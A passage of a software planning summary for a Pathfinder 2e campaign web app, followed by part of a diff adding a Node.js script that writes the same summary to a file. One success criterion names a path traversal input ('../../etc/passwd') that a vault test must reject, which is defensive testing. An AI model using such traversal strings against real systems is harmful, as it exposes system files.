Three infrastructure decisions must be made once and cannot be retrofitted: (1) the service worker must use the injectManifest strategy with user-scoped cache keys and logout-triggered cache purge from day one - retrofitting this after multiple phases would require touching every cached route; (2) the battle display screen must be a separate route with server-side sub-room filtering, never a CSS-hidden React variant, because GM data would otherwise be readable in browser DevTools; (3) all dice rolls must be server-authoritative using crypto.randomInt plus @dice-roller/rpg-dice-roller, because WebSocket payloads are fully attacker-controlled and PF2e crit math (doubles dice not modifiers) is easy to implement wrong client-side.
|
||||
|
||||
The primary risk in the milestone is Level-Up complexity. PF2e Level-Up has six independent choice axes per level with a prerequisite DSL that covers skill ranks, feat ownership, class membership, ancestry, and deity. The boost-cap-at-18 rule (+1 not +2 if attribute already at 18) and skill-increase-history tracking are the most common implementation bugs. Level-Up cannot be parallelized with other phases because it modifies CharactersService and CharactersGateway, which are touch-points for every other phase. The recommended mitigation is to build Level-Up first (Phase A), treat prerequisite DSL as an explicit sub-deliverable within that phase, and use an escape-hatch for unevaluable prerequisites (show a warning instead of a hard block) so unusual feats do not break the UI for the whole group.
|
||||
|
||||
## Key Findings
|
||||
|
||||
### Recommended Stack
|
||||
|
||||
The existing stack is locked and not re-evaluated. Twelve new libraries are added across the seven phases. The most critical adoption decisions are vite-plugin-pwa with injectManifest strategy (not generateSW - the distinction matters because only injectManifest allows hand-authoring the service worker for custom push handler and user-scoped cache invalidation), @dice-roller/rpg-dice-roller on the server side only, and react-markdown plus @portaljs/remark-wiki-link for the vault renderer. The webdav library is conditional: only needed if the vault lives on a separate machine; if it is filesystem-mounted on the NestJS server, a custom NestJS controller with fs/promises is simpler and lower-latency.
|
||||
|
||||
**Stack adoption table by phase:**
|
||||
|
||||
| Phase | Client installs | Server installs |
|
||||
|-------|----------------|-----------------|
|
||||
| A - Level-Up | none | none (pure NestJS + Prisma) |
|
||||
| B - PWA | vite-plugin-pwa, workbox-*, idb-keyval, @tanstack/react-query-persist-client, @tanstack/query-sync-storage-persister | none |
|
||||
| C - Web Push | none | web-push, @types/web-push |
|
||||
| D - Dice + Chat | none | @dice-roller/rpg-dice-roller |
|
||||
| E - Battle Ausbau | none | none |
|
||||
| F - GM Live-Tools | none | none (reuses existing events) |
|
||||
| G - Vault | react-markdown, remark-gfm, @portaljs/remark-wiki-link, react-shiki, shiki | webdav (conditional) |
|
||||
|
||||
**Core new technologies:**
|
||||
- vite-plugin-pwa v1.2.0: PWA manifest, service worker bundling, Vite 7 support since v1.0.1
|
||||
- workbox-precaching / workbox-routing / workbox-strategies: Caching primitives for injectManifest SW
|
||||
- web-push v3.6.7: VAPID-signed server-side push delivery, mature stable API
|
||||
- @dice-roller/rpg-dice-roller v5.5.1: TS-typed RPG dice parser, supports all PF2e modifiers
|
||||
- react-markdown v9.x: React 19 compatible markdown renderer, no dangerouslySetInnerHTML
|
||||
- @portaljs/remark-wiki-link v1.2.0: Obsidian-flavored wikilink AST nodes with shortest-path resolution
|
||||
- react-shiki v0.9.x: Syntax highlighting, replaces unmaintained react-syntax-highlighter
|
||||
- idb-keyval v6.x: IndexedDB wrapper for user-scoped offline cache
|
||||
- webdav v5.x: TS-native WebDAV client for vault transport (conditional)
|
||||
|
||||
### Expected Features
|
||||
|
||||
Level-Up is the structurally most complex single feature: six choice axes (attribute boost, class feat, skill feat, general feat, skill increase, ancestry feat, class feature), prerequisite DSL covering roughly 200+ feats with non-trivial conditions, per-class progression tables that vary widely (Fighter weapon specialization steps vs Wizard school progressions vs Rogue every-level skill increases), boost-cap arithmetic at 18, and Free Archetype variant (group uses it - table stakes, not optional). Spellcaster slot and cantrip progression is also table stakes because the group has active spellcasters.
|
||||
|
||||
**Must have (table stakes for this milestone):**
|
||||
- Level-Up: all six choice axes, prerequisite validation, auto-recompute, DRAFT/PATCH/COMMIT flow, undo before commit, Free Archetype variant, spellcaster slot progression
|
||||
- PWA: installable manifest, service worker, Android automatic install prompt, iOS guided Add-to-Home-Screen, cache-first offline read for character sheets
|
||||
- Web Push: VAPID keys, subscription persistence per device, GM-to-player ping
|
||||
- Battle Display-Mode: separate read-only route, large initiative tracker, token effects/conditions visible, no GM-only data
|
||||
- Token effects: per-token named effects with optional duration, WebSocket broadcast
|
||||
- Dice + Roll Log: server-authoritative PF2e notation, degree-of-success, broadcast to all in campaign/battle
|
||||
- In-game Chat: per campaign and battle, inline roll embeds, GM ping message
|
||||
- GM Live-Tools: HP/conditions/items/money on any player character, push-ping UI
|
||||
- Vault: folder tree, file read, markdown + wikilinks + image embeds, full-text search, last-N offline cached
|
||||
|
||||
**Should have (differentiators):**
|
||||
- German UI for all new feat and class-feature text via existing Claude API translation cache
|
||||
- Animated GM-ping arrival with vibration + initiative card pop-up
|
||||
- Battle display cinematic theme (dim off-turn tokens)
|
||||
- GM request-roll feature (combined push + pre-populated dice button)
|
||||
- Roll history export to HTML
|
||||
|
||||
**Defer to v1.x:**
|
||||
- Auto-condition application from spells/attacks (heavy data model cost)
|
||||
- Vault offline FlexSearch full-index
|
||||
- Vault frontmatter NPC chips in chat/battle
|
||||
- Level-up history view per character
|
||||
|
||||
**Anti-features (deliberately excluded):**
|
||||
- Bidirectional vault sync, native app wrapper, in-app character creation, fog of war, voice/video, 3D dice, background sync (iOS unsupported), skipWaiting() in service worker
|
||||
|
||||
### Architecture Approach
|
||||
|
||||
The architecture is additive: five new NestJS modules (LevelingModule, PushModule, DiceModule, ChatModule, VaultModule), five Prisma migrations in dependency order, and approximately 40 new files following the existing module-per-feature pattern. Existing modules (CharactersModule, BattleModule, AuthModule) receive targeted extensions rather than rewrites. The battle gateway gains server-side sub-rooms (battle:id:gm / battle:id:display) to filter GM-only events at the emit layer. The CharactersGateway gains a level_up_committed update type. All WebSocket gateways follow the existing pattern: JWT decoded once on connect, userId cached on socket.data, authorization per event using cached userId.
|
||||
|
||||
**Major new components:**
|
||||
1. LevelingModule - DRAFT/PATCH/COMMIT API for PF2e level-up with prerequisite DSL validator and recompute hooks into CharactersService
|
||||
2. PushModule - VAPID push delivery service with subscription CRUD, 410-cleanup lifecycle, sendToUser/sendToCampaign helpers
|
||||
3. DiceModule + DiceGateway - server-side roll with @dice-roller/rpg-dice-roller, persist to DiceRoll table, broadcast via /dice namespace
|
||||
4. ChatModule + ChatGateway - append-only messages with embedRollId FK for roll embeds, /chat namespace
|
||||
5. VaultModule - VaultProvider DI interface (FsVaultProvider or WebDAVVaultProvider), wikilink resolver, image proxy, VaultNoteCache in Postgres
|
||||
6. BattleDisplayPage - separate route /campaigns/:id/battle/display, server-filtered DTO, display-only token with short-lived scoped credential
|
||||
7. sw/service-worker.ts - Workbox injectManifest custom SW with user-scoped cache keys, logout purge via postMessage, NetworkFirst for API, CacheFirst for assets
|
||||
8. LevelUpWizard - step-by-step modal (class features -> boosts -> class feat -> skill increases -> general/skill feat -> review) with resume-on-reload via persisted DRAFT
|
||||
|
||||
**Prisma migration sequence (must follow this order):**
|
||||
1. add_level_up_sessions (Phase A)
|
||||
2. add_push_subscriptions (Phase C)
|
||||
3. add_dice_and_chat (Phase D)
|
||||
4. add_battle_effects_and_turn_pointer (Phase E)
|
||||
5. add_vault_config (Phase G)
|
||||
|
||||
### Critical Pitfalls
|
||||
|
||||
1. **SW cache leaks user data across logins** - Use IndexedDB keyed by userId for all authenticated API responses, never Cache API for auth-gated routes. On logout, postMessage LOGOUT to SW and call caches.delete() for user-scoped caches. Design this on day one of PWA phase; retrofitting is expensive.
|
||||
|
||||
2. **Display screen leaks GM data via unfiltered WebSocket frames** - Server must emit to battle:id:gm and battle:id:display sub-rooms separately. Display token must be a short-lived scoped credential issued by GM. Verify with socket.onAny(console.log) in incognito before shipping.
|
||||
|
||||
3. **SW auto-update reloads mid-battle** - Never call skipWaiting() automatically. Gate the update prompt on !isInBattle Zustand state. Only show update banner when no active battle session.
|
||||
|
||||
4. **Boost-cap-at-18 bug corrupts character permanently** - Centralize in applyAttributeBoost(current): current >= 18 ? +1 : +2. Unit test this function. Validate that a boost set applies to four different attributes (grey out already-boosted in UI).
|
||||
|
||||
5. **VAPID key loss breaks all push subscriptions silently** - Treat VAPID keys as application secrets equivalent to JWT_SECRET. Document in .env.example. Implement 410-Gone cleanup on push send. Implement pushsubscriptionchange listener in SW for browser-rotated subscriptions.
|
||||
|
||||
## Implications for Roadmap
|
||||
|
||||
Based on combined research, the recommended build order is A -> B -> C -> D -> E -> F -> G with two negotiable parallelizations (D can start after B without waiting for C; G can start after B without waiting for E or F).
|
||||
|
||||
### Phase A: Level-Up (regelkonform)
|
||||
|
||||
**Rationale:** Level-Up touches CharactersService and CharactersGateway, the most-modified files across the milestone. Starting here validates the pattern of extending existing modules before any new infrastructure (PWA, Push, Dice) is layered on top. No external library additions required. Highest rules-complexity of the milestone; benefits most from dedicated focus without competing priorities.
|
||||
|
||||
**Delivers:** Complete PF2e level-up wizard (all six choice axes), DRAFT/PATCH/COMMIT flow, prerequisite DSL evaluator, boost-cap-at-18 correct, Free Archetype variant toggle, spellcaster slot progression, auto-recompute of HP-Max/saves/AC, level_up_committed WebSocket broadcast.
|
||||
|
||||
**New modules:** LevelingModule with LevelUpSession Prisma model
|
||||
|
||||
**Key files changed:** characters.service.ts (applyLevelUp, recomputeDerivedStats), characters.gateway.ts (level_up_committed type), character-sheet-page.tsx (Stufe-steigen button + wizard mount)
|
||||
|
||||
**Stack installs:** None
|
||||
|
||||
**Success criteria:** Unit tests pass for boost-cap-at-18 (STR 18 -> 19, not 20), DRAFT can be abandoned without character mutation, commit is atomic Prisma transaction, level_up_committed broadcasts correct new HP-Max and proficiency values, Free Archetype variant shows second feat slot restricted to archetype feats
|
||||
|
||||
**Pitfalls owned:** #8 boost cap, #9 recompute side effects, #10 feat retrain orphans, #11 skill increase history
|
||||
|
||||
**Research flag:** Needs spike on prerequisite DSL scope (how many feat prereqs are evaluable vs escape-hatch warning) and spellcaster slot tables per tradition.
|
||||
|
||||
### Phase B: PWA Foundation
|
||||
|
||||
**Rationale:** PWA is the prerequisite for both Web Push (Phase C) and Vault offline cache (Phase G). Cannot ship C or G without B. Has zero backend changes, so it can ship immediately after A without coordinating server migrations. Frontend-only phase with well-documented patterns.
|
||||
|
||||
**Delivers:** Installable PWA (manifest, icons, splash), service worker with Workbox injectManifest strategy, user-scoped cache keys, logout-triggered cache purge, offline read for character sheet / equipment / feats / translations, Add-to-Home-Screen flow for iOS (guided) and Android (automatic), use-pwa-update hook with battle-gated update prompt.
|
||||
|
||||
**Stack installs:** vite-plugin-pwa, workbox-precaching, workbox-routing, workbox-strategies, workbox-expiration, workbox-cacheable-response, idb-keyval, @tanstack/react-query-persist-client, @tanstack/query-sync-storage-persister
|
||||
|
||||
**Success criteria:** Lighthouse PWA audit passes Installable check, app loads on airplane mode showing character sheet (not login error), second login on same device does not see first user data in cache, deploy during active battle does not reload the session
|
||||
|
||||
**Pitfalls owned:** #1 SW cache leaks, #2 mid-session SW update, #3 iOS push silent failure (manifest prereqs), #4 VAPID key loss (manifest prereqs), #21 manifest icon traps, #23 offline auth fallback
|
||||
|
||||
**Research flag:** Standard patterns, skip research-phase. vite-plugin-pwa + Workbox are well-documented.
|
||||
|
||||
### Phase C: Web Push
|
||||
|
||||
**Rationale:** Depends on Phase B (service worker must exist for push handler). Unblocks Phase F (GM Live-Tools needs push for the du-bist-dran ping). Can run in parallel with Phase D if team has bandwidth.
|
||||
|
||||
**Delivers:** VAPID key generation, PushSubscription Prisma model, PushModule (subscribe/unsubscribe endpoints, sendToUser/sendToCampaign helpers), notification-permission-prompt component, 410-Gone cleanup, pushsubscriptionchange SW listener.
|
||||
|
||||
**Stack installs (server):** web-push, @types/web-push
|
||||
|
||||
**Success criteria:** Android Chrome receives push when app is not open, iOS (home-screen installed PWA) receives push, 410 response deletes subscription from DB, VAPID keys documented in .env.example
|
||||
|
||||
**Pitfalls owned:** #3 iOS push, #4 VAPID key loss
|
||||
|
||||
**Research flag:** Standard patterns, skip research-phase. web-push library API is well-documented.
|
||||
|
||||
### Phase D: Dice + Chat
|
||||
|
||||
**Rationale:** Logically independent of Phase C (can use toast for inline display without push). Depends on Phase B (offline read of roll log via SW cache). Chat + dice together in one phase because they share the DiceRoll/ChatMessage dual-table schema with embedRollId FK. Unblocks Phase F (GM needs chat surface to send targeted ping messages).
|
||||
|
||||
**Delivers:** DiceModule + DiceGateway, ChatModule + ChatGateway, server-authoritative dice rolling, DiceRoll and ChatMessage Prisma models with composite indexes on (campaignId, createdAt), dice-roller UI, chat-panel UI, roll embeds in chat, cursor-based pagination, roll log per campaign and per battle, PF2e degree-of-success calculation.
|
||||
|
||||
**Stack installs (server):** @dice-roller/rpg-dice-roller
|
||||
|
||||
**Success criteria:** Client cannot forge a roll result (server rejects manipulated WebSocket payload), crit doubling applies to dice not modifiers (2d6+4 crit = 4d6+4 not 4d12+8), EXPLAIN ANALYZE on paginated chat query shows index use, roll sent during 30s disconnect appears after reconnect via REST refetch
|
||||
|
||||
**Pitfalls owned:** #6 client-side dice tampering, #7 markdown chat XSS, #22 chat/roll index
|
||||
|
||||
**Research flag:** Standard patterns. PF2e degree-of-success math and @dice-roller/rpg-dice-roller API well-documented.
|
||||
|
||||
### Phase E: Battle Ausbau (Display-Mode, Initiative-Tracker, Effekte)
|
||||
|
||||
**Rationale:** Builds on existing battle infrastructure. Benefits from Phase D (dice visible in initiative order) but is not blocked by it. The display-mode security decision (server sub-rooms) must be implemented here; cannot be retrofitted without touching gateway and all downstream broadcast calls.
|
||||
|
||||
**Delivers:** BattleDisplayPage separate route with server-filtered DTO, BattleGateway sub-rooms (battle:id:gm / battle:id:display), display-only short-lived token issued by GM, BattleEffect Prisma model, turnTokenId on BattleSession, InitiativeTracker component, EffectPill component, token add/remove WebSocket events (replacing query-invalidate), GM next-turn button.
|
||||
|
||||
**Stack installs:** None
|
||||
|
||||
**Success criteria:** socket.onAny(console.log) on display incognito shows no GM-only fields, display screen stays live after GM browser refresh, aspect ratio test on actual table screen hardware passes, display token expires when battle ends
|
||||
|
||||
**Pitfalls owned:** #5 display screen GM data leak, #15 socket message ordering on reconnect, #18 WebSocket room leaks, #24 display aspect ratio
|
||||
|
||||
**Research flag:** Display-mode auth token design needs a spike. The short-lived scoped token issuance pattern (GM clicks -> server issues one-shot URL) is not a standard Socket.io pattern and needs a brief design session before implementation.
|
||||
|
||||
### Phase F: GM Live-Tools
|
||||
|
||||
**Rationale:** Depends on Phase C (push for du-bist-dran ping) and Phase D (chat surface for targeted messages). No new backend module or Prisma schema required - reuses all existing character WebSocket events. Fastest phase in the milestone.
|
||||
|
||||
**Delivers:** gm-control-panel.tsx sidebar in campaign-detail-page listing all player characters with quick-actions (HP+/-, condition set, item give, money adjust, push-ping send), gmMode prop on existing modals, server-side authorization audit of existing character events to enforce GM role check.
|
||||
|
||||
**Stack installs:** None
|
||||
|
||||
**Success criteria:** GM can modify any player character HP/conditions/items/money from the panel, targeted push-ping reaches specific player, bulk destructive actions require confirmation modal, in-memory undo stack (last 5 actions) works
|
||||
|
||||
**Pitfalls owned:** #25 GM bulk-action footgun
|
||||
|
||||
**Research flag:** Authorization audit of existing character WebSocket events required before implementation. FEATURES.md flags existing events probably do not enforce is-actor-a-GM check. This is a required spike.
|
||||
|
||||
### Phase G: Obsidian Vault
|
||||
|
||||
**Rationale:** Depends on Phase B (service worker for offline note cache). Independent of all other phases. Can be parallelized with Phase E or F if team capacity allows. Vault transport decision must be resolved before starting.
|
||||
|
||||
**Delivers:** VaultModule with VaultProvider DI interface (FsVaultProvider for same-machine, WebDAVVaultProvider for separate machine), VaultConfig and VaultNoteCache Prisma models, wikilink resolver with Obsidian shortest-path algorithm, basename index for ambiguity detection, image proxy endpoint, vault-browser-page.tsx with folder tree + note reader, note-renderer.tsx (react-markdown + remark-gfm + portaljs/remark-wiki-link), full-text search via Postgres FTS, last-N offline cache via SW StaleWhileRevalidate, path traversal guard.
|
||||
|
||||
**Stack installs (client):** react-markdown, remark-gfm, @portaljs/remark-wiki-link, react-shiki, shiki. (server): webdav (conditional on transport decision)
|
||||
|
||||
**Success criteria:** Vault path traversal test rejects ../../etc/passwd, cyclic embed (A embeds B embeds A) renders placeholder not stack overflow, ambiguous wikilinks surface to user not silently pick wrong, note cache survives airplane mode after one online read
|
||||
|
||||
**Pitfalls owned:** #12 wikilink ambiguity, #13 embed loops, #14 vault path traversal
|
||||
|
||||
**Research flag:** Vault transport decision is an open question that must be answered before Phase G starts. See Open Questions below.
|
||||
|
||||
### Phase Ordering Rationale
|
||||
|
||||
Hard dependencies: B before C (SW required for push handler); B before G (SW required for vault offline cache); C and D both before F (F needs push and chat surface). These cannot be reordered.
|
||||
|
||||
Negotiable: D can start immediately after B without waiting for C to complete; G can start after B without waiting for E or F. A is independent of everything and can start immediately.
|
||||
|
||||
Anti-ordering to avoid: Push before PWA (SW not yet deployed); GM Live-Tools before Push and Chat (half-functionality, ping missing); Battle display before implementing sub-rooms (security regression difficult to retrofit).
|
||||
|
||||
### Research Flags
|
||||
|
||||
Phases needing deeper research during planning:
|
||||
- **Phase A:** Prerequisite DSL scope. Determine which prerequisite patterns are mechanically evaluable (skill rank, feat ownership, level, class) vs which need the escape-hatch warning path. Recommend a spike against Archives of Nethys feat data.
|
||||
- **Phase E:** Display-mode token issuance design. One-shot scoped token for table display URL needs a design spike (JWT with battle:id claim, short TTL, server-validated on display route).
|
||||
- **Phase F:** Authorization audit. Existing character WebSocket events need a code audit to verify GM role enforcement before the GM Live-Tools UI exposes them.
|
||||
- **Phase G:** Vault transport decision. Must be resolved (filesystem mount vs WebDAV) before Phase G implementation begins.
|
||||
|
||||
Phases with standard patterns (skip research-phase):
|
||||
- **Phase B:** vite-plugin-pwa + Workbox are extensively documented. injectManifest strategy has clear examples.
|
||||
- **Phase C:** web-push library API is stable and well-documented.
|
||||
- **Phase D:** @dice-roller/rpg-dice-roller API is documented; PF2e degree-of-success math is rules-defined.
|
||||
|
||||
## Confidence Assessment
|
||||
|
||||
| Area | Confidence | Notes |
|
||||
|------|------------|-------|
|
||||
| Stack | HIGH | All versions verified via Context7 and npm; vite-plugin-pwa v1.2.0 confirmed Vite 7 support; react-markdown v9 confirmed React 19 compatibility |
|
||||
| Features | HIGH | PF2e rules verified against Archives of Nethys; PWA tech verified against 2026 docs; competitor analysis is MEDIUM (UX details inferred) |
|
||||
| Architecture | HIGH | Based on mapped live codebase; all patterns reference existing gateway/service/module code; no speculative components |
|
||||
| Pitfalls | HIGH for PWA/Push/Socket.io/Prisma; MEDIUM for Obsidian edge cases | PWA and Socket.io pitfalls verified against official 2026 docs; Obsidian wikilink edge cases from community forum threads |
|
||||
|
||||
**Overall confidence:** HIGH
|
||||
|
||||
### Gaps to Address
|
||||
|
||||
- **Vault transport:** PROJECT.md says protocol is yet to be chosen. Must decide filesystem vs WebDAV before Phase G. Recommendation: default to filesystem mount with WebDAVVaultProvider as swappable DI alternative.
|
||||
- **Free Archetype scope:** Research confirms it is table stakes. Implementation scope (which archetype feat sources are valid after dedication) should be confirmed with the GM before Phase A begins.
|
||||
- **Display screen hardware:** Actual table screen aspect ratio and specs unknown. Get specs before Phase E ships.
|
||||
- **Player iOS versions:** iOS PWA push requires home-screen install and Safari 16.4+. Confirm player device baseline before Phase C ships.
|
||||
- **Feat prerequisite DSL scope:** Boundary between evaluable and unevaluable prerequisites needs a spike against actual group character feat lists before Phase A implementation.
|
||||
|
||||
## Open Questions for User
|
||||
|
||||
These require user input before or during the corresponding phase:
|
||||
|
||||
1. **Vault transport (before Phase G):** Is the Obsidian vault on the same machine as the NestJS server (filesystem mount, simpler) or on a separate machine like Synology or Nextcloud (WebDAV)? This determines which VaultProvider is implemented first.
|
||||
2. **Free Archetype scope (before Phase A):** Should the app restrict archetype feat slots strictly to the chosen archetype, or allow any archetype feat after dedication is taken? Pathbuilder allows any archetype feat after dedication; confirm group expectation to avoid a mid-implementation scope change.
|
||||
3. **Table display hardware (before Phase E):** What is the aspect ratio and resolution of the embedded table screen? 16:9, 4:3, portrait? Needed to avoid Pitfall #24.
|
||||
4. **Player iOS versions (before Phase C):** What iOS versions are the players running? iOS PWA push requires 16.4+. If any player is below this, push silently fails on their device.
|
||||
5. **Prerequisite DSL escape-hatch threshold (before Phase A):** For feat prerequisites that cannot be evaluated automatically (deity-specific, spellcasting-tradition edge cases), should the app (a) show a warning and allow the player to proceed, or (b) block and require GM override? Recommendation: option (a) with warning.
|
||||
|
||||
## Sources
|
||||
|
||||
### Primary (HIGH confidence)
|
||||
- Context7: /vite-pwa/vite-plugin-pwa - injectManifest strategy, useRegisterSW hook, Vite 7 support
|
||||
- Context7: /web-push-libs/web-push - generateVAPIDKeys, sendNotification API, 410/404/429 error patterns
|
||||
- Context7: /remarkjs/react-markdown - remarkPlugins, components prop, v9 React 19 support
|
||||
- Context7: /shikijs/shiki - Shiki 4.0.2 current, ESM grammars
|
||||
- Context7: /avgvstvs96/react-shiki - recommended replacement for react-syntax-highlighter
|
||||
- Context7: /googlechrome/workbox - caching strategies primitives
|
||||
- Archives of Nethys: Leveling Up, Ability Boosts, Skill Increases, Free Archetype, Archetypes
|
||||
- Socket.io docs v4: Connection state recovery, delivery guarantees, middlewares
|
||||
- .planning/codebase/ files: ARCHITECTURE.md, STRUCTURE.md, INTEGRATIONS.md, CONCERNS.md, TESTING.md (live codebase mapping)
|
||||
- server/prisma/schema.prisma: existing models and relations (live codebase)
|
||||
|
||||
### Secondary (MEDIUM confidence)
|
||||
- MagicBell 2026: PWA iOS limitations and Safari support - iOS push requires home-screen install, Declarative Web Push since Safari 18.4
|
||||
- Mobiloud 2026: Do Progressive Web Apps Work on iOS - install path requirements
|
||||
- @portaljs/remark-wiki-link npm: Obsidian-flavored path resolution semantics
|
||||
- Obsidian Forum threads: wikilink resolution rules, ambiguity handling
|
||||
- HackerOne: Secure markdown rendering in React - XSS via rehype-raw + dangerouslySetInnerHTML
|
||||
- Pushpad: Web Push error 410 cleanup pattern, VAPID error codes
|
||||
- Foundry VTT PF2e Leveler module: proves prerequisite-validating Level-Up is feasible at scale
|
||||
|
||||
### Tertiary (LOW confidence / needs validation)
|
||||
- Community wisdom on Obsidian embed cycle edge cases - verify with deliberate cyclic test vault before shipping
|
||||
- EU iOS PWA push flakiness by Safari version - verify on actual player devices before Phase C ships
|
||||
- Per-event JWT verify CPU impact at 20+ events/sec - verify with load test if battle turns out to be high-frequency
|
||||
|
||||
---
|
||||
*Research completed: 2026-04-27*
|
||||
*Ready for roadmap: yes*
|
||||
300
.planning/research/_write_summary.js
Normal file
300
.planning/research/_write_summary.js
Normal file
@@ -0,0 +1,300 @@
|
||||
var fs=require("fs"),p=require("path");
|
||||
var out=p.join(process.env.USERPROFILE,"Documents","Dimension-47",".planning","research","SUMMARY.md");
|
||||
var lines=[];
|
||||
lines.push("# Project Research Summary");
|
||||
lines.push("");
|
||||
lines.push("**Project:** Dimension47 - TTRPG Campaign Management Platform");
|
||||
lines.push("**Domain:** Self-hosted PF2e TTRPG companion web app (brownfield milestone)");
|
||||
lines.push("**Researched:** 2026-04-27");
|
||||
lines.push("**Confidence:** HIGH");
|
||||
lines.push("");
|
||||
lines.push("## Executive Summary");
|
||||
lines.push("");
|
||||
lines.push("Dimension47 is a self-hosted, single-group PF2e TTRPG companion app with a mature existing stack (NestJS 11, React 19, Prisma 7, PostgreSQL, Socket.io 4.8.3, Tailwind v4). The next milestone adds seven distinct capability areas to the live system: PF2e-regelkonform Level-Up, PWA installability with offline read, Web Push notifications, server-authoritative dice rolling with in-app chat, multi-screen battle display, GM live-control panel, and an Obsidian vault read-only browser. Research confirms the existing architectural patterns (NestJS module-per-feature, React feature directories, WebSocket gateway-per-namespace, Prisma migrations-only) scale cleanly to all seven areas with five new backend modules, seven new Prisma migrations, and approximately 40 new files. No fundamental architectural change is needed; all additions are additive and follow documented existing patterns.");
|
||||
lines.push("");
|
||||
lines.push("Three infrastructure decisions must be made once and cannot be retrofitted: (1) the service worker must use the injectManifest strategy with user-scoped cache keys and logout-triggered cache purge from day one - retrofitting this after multiple phases would require touching every cached route; (2) the battle display screen must be a separate route with server-side sub-room filtering, never a CSS-hidden React variant, because GM data would otherwise be readable in browser DevTools; (3) all dice rolls must be server-authoritative using crypto.randomInt plus @dice-roller/rpg-dice-roller, because WebSocket payloads are fully attacker-controlled and PF2e crit math (doubles dice not modifiers) is easy to implement wrong client-side.");
|
||||
lines.push("");
|
||||
lines.push("The primary risk in the milestone is Level-Up complexity. PF2e Level-Up has six independent choice axes per level with a prerequisite DSL that covers skill ranks, feat ownership, class membership, ancestry, and deity. The boost-cap-at-18 rule (+1 not +2 if attribute already at 18) and skill-increase-history tracking are the most common implementation bugs. Level-Up cannot be parallelized with other phases because it modifies CharactersService and CharactersGateway, which are touch-points for every other phase. The recommended mitigation is to build Level-Up first (Phase A), treat prerequisite DSL as an explicit sub-deliverable within that phase, and use an escape-hatch for unevaluable prerequisites (show a warning instead of a hard block) so unusual feats do not break the UI for the whole group.");
|
||||
lines.push("");
|
||||
lines.push("## Key Findings");
|
||||
lines.push("");
|
||||
lines.push("### Recommended Stack");
|
||||
lines.push("");
|
||||
lines.push("The existing stack is locked and not re-evaluated. Twelve new libraries are added across the seven phases. The most critical adoption decisions are vite-plugin-pwa with injectManifest strategy (not generateSW - the distinction matters because only injectManifest allows hand-authoring the service worker for custom push handler and user-scoped cache invalidation), @dice-roller/rpg-dice-roller on the server side only, and react-markdown plus @portaljs/remark-wiki-link for the vault renderer. The webdav library is conditional: only needed if the vault lives on a separate machine; if it is filesystem-mounted on the NestJS server, a custom NestJS controller with fs/promises is simpler and lower-latency.");
|
||||
lines.push("");
|
||||
lines.push("**Stack adoption table by phase:**");
|
||||
lines.push("");
|
||||
lines.push("| Phase | Client installs | Server installs |");
|
||||
lines.push("|-------|----------------|-----------------|");
|
||||
lines.push("| A - Level-Up | none | none (pure NestJS + Prisma) |");
|
||||
lines.push("| B - PWA | vite-plugin-pwa, workbox-*, idb-keyval, @tanstack/react-query-persist-client, @tanstack/query-sync-storage-persister | none |");
|
||||
lines.push("| C - Web Push | none | web-push, @types/web-push |");
|
||||
lines.push("| D - Dice + Chat | none | @dice-roller/rpg-dice-roller |");
|
||||
lines.push("| E - Battle Ausbau | none | none |");
|
||||
lines.push("| F - GM Live-Tools | none | none (reuses existing events) |");
|
||||
lines.push("| G - Vault | react-markdown, remark-gfm, @portaljs/remark-wiki-link, react-shiki, shiki | webdav (conditional) |");
|
||||
lines.push("");
|
||||
lines.push("**Core new technologies:**");
|
||||
lines.push("- vite-plugin-pwa v1.2.0: PWA manifest, service worker bundling, Vite 7 support since v1.0.1");
|
||||
lines.push("- workbox-precaching / workbox-routing / workbox-strategies: Caching primitives for injectManifest SW");
|
||||
lines.push("- web-push v3.6.7: VAPID-signed server-side push delivery, mature stable API");
|
||||
lines.push("- @dice-roller/rpg-dice-roller v5.5.1: TS-typed RPG dice parser, supports all PF2e modifiers");
|
||||
lines.push("- react-markdown v9.x: React 19 compatible markdown renderer, no dangerouslySetInnerHTML");
|
||||
lines.push("- @portaljs/remark-wiki-link v1.2.0: Obsidian-flavored wikilink AST nodes with shortest-path resolution");
|
||||
lines.push("- react-shiki v0.9.x: Syntax highlighting, replaces unmaintained react-syntax-highlighter");
|
||||
lines.push("- idb-keyval v6.x: IndexedDB wrapper for user-scoped offline cache");
|
||||
lines.push("- webdav v5.x: TS-native WebDAV client for vault transport (conditional)");
|
||||
lines.push("");
|
||||
lines.push("### Expected Features");
|
||||
lines.push("");
|
||||
lines.push("Level-Up is the structurally most complex single feature: six choice axes (attribute boost, class feat, skill feat, general feat, skill increase, ancestry feat, class feature), prerequisite DSL covering roughly 200+ feats with non-trivial conditions, per-class progression tables that vary widely (Fighter weapon specialization steps vs Wizard school progressions vs Rogue every-level skill increases), boost-cap arithmetic at 18, and Free Archetype variant (group uses it - table stakes, not optional). Spellcaster slot and cantrip progression is also table stakes because the group has active spellcasters.");
|
||||
lines.push("");
|
||||
lines.push("**Must have (table stakes for this milestone):**");
|
||||
lines.push("- Level-Up: all six choice axes, prerequisite validation, auto-recompute, DRAFT/PATCH/COMMIT flow, undo before commit, Free Archetype variant, spellcaster slot progression");
|
||||
lines.push("- PWA: installable manifest, service worker, Android automatic install prompt, iOS guided Add-to-Home-Screen, cache-first offline read for character sheets");
|
||||
lines.push("- Web Push: VAPID keys, subscription persistence per device, GM-to-player ping");
|
||||
lines.push("- Battle Display-Mode: separate read-only route, large initiative tracker, token effects/conditions visible, no GM-only data");
|
||||
lines.push("- Token effects: per-token named effects with optional duration, WebSocket broadcast");
|
||||
lines.push("- Dice + Roll Log: server-authoritative PF2e notation, degree-of-success, broadcast to all in campaign/battle");
|
||||
lines.push("- In-game Chat: per campaign and battle, inline roll embeds, GM ping message");
|
||||
lines.push("- GM Live-Tools: HP/conditions/items/money on any player character, push-ping UI");
|
||||
lines.push("- Vault: folder tree, file read, markdown + wikilinks + image embeds, full-text search, last-N offline cached");
|
||||
lines.push("");
|
||||
lines.push("**Should have (differentiators):**");
|
||||
lines.push("- German UI for all new feat and class-feature text via existing Claude API translation cache");
|
||||
lines.push("- Animated GM-ping arrival with vibration + initiative card pop-up");
|
||||
lines.push("- Battle display cinematic theme (dim off-turn tokens)");
|
||||
lines.push("- GM request-roll feature (combined push + pre-populated dice button)");
|
||||
lines.push("- Roll history export to HTML");
|
||||
lines.push("");
|
||||
lines.push("**Defer to v1.x:**");
|
||||
lines.push("- Auto-condition application from spells/attacks (heavy data model cost)");
|
||||
lines.push("- Vault offline FlexSearch full-index");
|
||||
lines.push("- Vault frontmatter NPC chips in chat/battle");
|
||||
lines.push("- Level-up history view per character");
|
||||
lines.push("");
|
||||
lines.push("**Anti-features (deliberately excluded):**");
|
